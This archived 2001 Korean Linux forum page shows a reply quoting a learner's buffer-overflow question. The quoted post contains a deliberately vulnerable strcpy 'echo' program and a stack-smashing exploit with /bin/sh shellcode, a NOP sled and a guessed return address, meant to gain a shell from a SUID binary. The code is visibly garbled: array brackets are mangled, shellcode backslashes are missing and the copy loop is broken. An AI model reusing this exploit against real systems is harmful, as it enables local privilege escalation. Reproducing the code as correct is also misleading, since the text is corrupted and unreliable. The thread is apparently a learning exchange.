>> Read Reply from No. 0 article  
RE: BOF관련 질문...(해도 될려나?)

등록 2001-11-08 00:22:00     조회 1
이름 지나가다    

		xpl이 왜저렇죠? 추가수정좀 해야될꺼 같은데. 흠.
: //임의로 제작한 취약 프로그램
:
: #include <stdio.h>
:
: int main( int argc, int *argv<> )
: {
:         char buf[256];
:
:         if ( (argc > 2) || (argv == 1) )
:         {
:                 printf("Usage : ./echo");
:                 exit(0);
:         }
:
:         strcpy(buf,argv[1]);
:         printf("Echo:%s",buf);
: }
: ================================================
:
: //익스플로잇
:
: #include <stdio.h>
: #include <stdlib.h>
: #include <unistd.h>
: #define NOP 0x90
:
: /* 쉘 코드 */
: char shellcode<> =
: "xebx1dx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0bx89xf3x8d"
: "x4ex08x31xd2xcdx80xb0x01x31xdbxcdx80xe8xdexffxffxff/bin/sh";
:
: /* 스택 프레임 포인터의 어드레스를 알아내기 위한 함수 */
:
: unsigned long int get_sp( void )
: {
: 	__asm__("movl %esp,%eax");
: }
:
: /* 메인 함수 */
:
: int main( int argc, char *argv<> )
: {
: 	char attack[264];
: 	int offset;
: 	long *ptr, addr;
:
: 	/*
: 	attack[264]는 취약프로그램에 입력할 문자열.
: 		   256 bytes 의 buf와 4 bytes 의 Stack Frame Pointer, 4 bytes의 RET값이 합쳐진것.
:
: 	offset은 stack의 시작주소로 부터 쉘 코드의 위치까지의 거리를 나타내는 것,
: 		공격자가 임의로?입력가능. SFP와 Shellcode까지의 거리는 추측에 의존하기 때문...
:
: 	ptr은 attack[264]의 마지막 4bytes에 shellcode의 address를 넣어야 하는데 shellcode의 address는
: 		4bytes이고, attack<>은 char type으로 각각 1byte이므로 주소를 넣기가 곤란하다...
: 		그래서 포인터를 사용. ( attack[260] ~ attack[263] )
:
: 	addr은 SFP의 시작주소의 값. shellcode의 주소 = addr - offset
: 		(스택은 나중에 들어온 값이 낮은 메모리 주소를 가지고 있으니까)
: 	*/
:
: 	int i,c;
:
: 	if ( argc == 2 )
: 	{
: 		offset = atoi(argv[1]);
: 	}
: 	else offset = 512;
:
: 	/* 사용자가 offset을 입력하지 않으면 디폴트로 512 */
:
: 	addr = get_sp() - offset;
: 	/* 스택 프레임 포인터에서 offset만큼 떨어진 shellcode의 주소 */
:
:
: 	for ( i = 0; i < 200; i++)
: 	{
: 		attack[i] = NOP;
: 	}
:
: 	for ( i = 200, c = 0; i < strlen( shellcode ) ; i++,c++ )
: 	/* attack[i]에 쉘 코드를 집어넣는다 */
: 	{
: 		attack[i] = shellcode[c];
: 	}
:
: 	ptr = (long *)(attack + 260);
: 	/* attack[260], attack[261], 262, 263은 long형으로 RET address를 가리킴 */
:
: 	*ptr = addr;
: 	/* RET addr에 쉘코드가 있을 것으로 추측되는 변수를 넣는다 */
:
: 	printf("*ptr = %d",*ptr);
: 	printf("ptr = %x",ptr);
: 	printf("addr = %x",addr);
: 	printf("attack<> = %c",attack);
: 	printf("offset = %d",offset);
:
: 	execl("./echo","echo",attack, NULL );
: 	/* 만들어진 attack<>을 인자로 프로그램 실행 */
:
: }
:
: =====================================================
: // 이 따위로 만들어서 돌려봤는데... offset값은 1~1000까지 다 해봤지만
: // 안되네요... 물론 타겟 프로그램에 SUID설정은 했고요...
: // 익스플로잇이 잘못짜진 걸까요? 아니면 offset을 바꿔서 입력해볼까요?
: // 해커즈랩에 질문할까 하다가 여기다 하는게 좋을 것 같아서...
:
: --
: EOF
이름
암호


>> 관련글
  답장 RE: BOF관련 질문...(해도 될려나?)  kysee  2001.11.08  ....
  답장 RE: BOF관련 질문...(해도 될려나?)  지나가다  2001.11.08  ....
Register [ localhost 목록보기 윗글 아랫글
글쓰기
답장쓰기 수정 삭제
정규표현식 [ 상세 검색 ]
페이지로딩: [ 0.63 초 ] 작업시간: [ 0.11 초 ]

Copyleft 1999-2026 by JSBoard Open Project
Theme Designed by IDOO All right reserved
[TOP]

적수네 동네
+
| 적수네 동네
| 공부방
| 리눅스 잡지 서고
| LSN 소스
| 링크 모음
+---+
게시판
+
| 떠들어보세!
| 질문과 답변
| 새소식과 정보
| 1원짜리 팁?
| 대화방
+---+
칼럼?
+
| 세하 훔쳐보기
| Welcome2nite
| 혜진의 염장판
+---+
리눅스 상표권
+
| 반대 서명란
| 토론 게시판
+---+
GNU
+
| GNU 선언문
| GNU GPL
| GNU 미러 목록
+---+
프로젝트?
+
| 리눅스카운터
| RC5DES
| 실질헌법 제작
+---+
커널 소식
+
| 안정 버젼: 2.4.14
+---+
테마 선택
+
LSN 방송국?
+
| OFF AIR
+---+
회원
+
| 로그인
+---+
[ 적수네 동네 ] [ 리눅스 상표권 독점 반대 ] [ 한글 리눅스 문서 프로젝트 ] [ KrLine ] [ 사랑넷 ] [ Valid HTML 4.0! ] [ SlashDot ] [ Freshmeat ]
Copyleft (C) 1998-2001 Byeong-Chan Kim . License
TIME: 1789508914
System by WYZsoft, HDD by I.O.Linux, Mizi Research, Embryo, WOWLINUX, Domain by SarangNet, Network by KrLine.